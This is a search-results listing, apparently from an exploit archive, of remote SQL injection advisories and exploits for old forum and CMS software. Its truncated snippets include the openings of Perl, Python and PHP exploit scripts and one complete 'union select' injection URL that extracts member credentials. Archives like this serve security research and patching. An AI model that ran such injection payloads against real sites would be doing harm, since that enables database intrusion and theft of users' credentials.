3837 matches found
uniForum <= 4 - (wbsearch.aspx) Remote SQL Injection Vulnerability
No description provided by source. Title : uniForum = v4 wbsearch.aspx Remote SQL Injection Vulnerability Author : ajann Contact : : S.Page : ... Vendor : http://uniforum.biz/ $$ : $99 SQL--------------------------------------------------------- http://target/path//wbsearch.aspx POST Method SQL...
Invision Power Board 2.1 <= 2.1.6 - Remote SQL Injection Exploit (2)
No description provided by source. !/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; &header; if @ARGV 2 &info; exit; $server = $ARGV0; $dir = $ARGV1; print + SERVER $server\r\n; print + DIR $dir\r\n; Step 1, detecting vulnerability print 1 Testing forum vulnerability...; $q = UNION...
Adult Script <= 1.6.5 - Multiple Remote SQL Injection Vulnerabilities
No description provided by source. --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org...
WeBBoA Host Script 1.1 - Remote SQL Injection Vulnerability
No description provided by source. There is Sql injection WeBBoA Host Script v1.1 Risk=High Exploit: http://SITE/?islem=hostsatinal&id=-1%20%20union%20select%200,1,2,kuladi,4,5,6,7,sifre%20from%20members+where+uyeid=1 Credit: EntriKa milw0rm.com 2006-06-19...
X7 Chat <= 2.0.5 (day) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/python Exploit for xchat 2.0.5 Saca los usuarios y los hash By nonroot - 2008 it's a PoC, please use responsibly import string,urllib import sys,re print Target host: i.e: http://127.0.0.1/x7chat/ host=rawinputTarget host include http and /: print Outp...
Okul Otomasyon Portal 2.0 - Remote SQL Injection Vulnerability
No description provided by source. Dumenci v19.1 Okul Otomasyon Portal v2.0 remote sql injection AUTHOR : Okulumun sitesi Script Download : http://www.okulumunsitesi.com/ DORK: inurl:/k12.tr/?part= Injection Adress : http://site.com/default.asp?islem=1&id=sql code my COD :...
Ikonboard 3.x Multiple Remote SQL Injection Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/11982/info Multiple remote SQL injection vulnerabilities reportedly affect Ikonboard. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries. An...
DCP-Portal <= 6.11 Remote SQL Injection Exploit
No description provided by source. !/usr/bin/php -q ?php echo DCP Portal = 6.11 Remote SQL Injection Exploit\r\n; echo Coded by x0kster -x0ksterATgmailDOTcom - \r\n; / Note : Magic Quotes = 0 Script Download : http://www.dcp-portal.org/ Bug in index.php : ?php //index.php ... 60. $sql = SELECT id...
PHP Links <= 1.3 (vote.php id) Remote SQL Injection Vulnerability
No description provided by source. ------------------------------------------------------------- ----- H-T Team HouSSaMix + ToXiC350 from MoroCCo -------- ------------------------------------------------------------- = Author : Houssamix From H-T Team = Script : PHP Links from DeltaScripts = 1.3 ...
xBtiTracker Remote SQL Injection Vulnerability
No description provided by source. Exploit Title: xBtiTracker Remote SQL Injection Vulnerability Date: 10.04.2010 Author: InATeam http://inattack.ru/ via Dominus Software Link: http://www.btiteam.org/ Version: xbtit v.2.0.0 - revision 559 and older Tested on: xbtit v.2.0.0 - revision 559 Code :...
Oceandir <= 2.9 (show_vote.php id) Remote SQL Injection Vulnerability
No description provided by source. / @title Oceandir = 2.9 showvote.php id Remote SQL injection @author JEEN HACKER TEAM Jeen + Secertry @cost 250$ @script http://www.oceandir.com @copyright 2008 @homepage http://www.hackteach.org/cc/teach.php @email [email protected] , [email protected] / Exploit :...
OpenBB 1.0/1.1 Member.PHP Remote SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/7405/info It has been reported that OpenBB does not properly check input passed via the 'member.php' script. Because of this, an attacker may be able to inject arbitrary commands to the database in the context of the...
MeGaCheatZ 1.1 - Multiple Remote SQL Injection Vulnerabilities
No description provided by source. --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org...
XOOPS Flashgames Module 1.0.1 - Remote SQL Injection Vulnerability
No description provided by source...
Angelo-Emlak 1.0 - Multiple Remote SQL injection Vulnerabilities
No description provided by source. Angelo-Emlak v1.0 Multiple Remote SQL injection Vulnerable Discovered By : U238 msn :setuid.noexec0x1+hotmail-.com webPage :http://noexec.blogspot.com Script : http://www.aspdepo.org/tr/incele.asp?id=587&Script=angelo-emlak-v1.0-tr Script2 :...
Ip Reg 0.3 - Multiple Remote SQL Injection Vulnerabilities
No description provided by source. --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org...
Envolution <= 1.1.0 (topic) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 3 usage; exit; $site = $ARGV0; Site Target $path = $ARGV1; Path direktori envolution1-0-1 $usid = $ARGV2; member id $www = new LWP::UserAgent; $sql =...
NetRisk <= 2.0 (XSS/SQL Injection) Remote Vulnerabilities
No description provided by source. ----------------------------------------------------------------- NetRisk = 2.0 XSS/SQL Injection Remote Vulnerabilities ----------------------------------------------------------------- Discovered By StAkeR aka athos Download On...
EQdkp <= 1.3.2 (listmembers.php rank) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w EQdkp = 1.3.2 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code listmembers.php: $sql = 'SELECT m., m.memberearned-m.memberspent+m.memberadjustment AS...
OpenBB 1.0/1.1 Board.PHP Remote SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/7404/info It has been reported that OpenBB does not properly check input passed via the 'board.php' script. Because of this, an attacker may be able to inject arbitrary commands to the database in the context of the...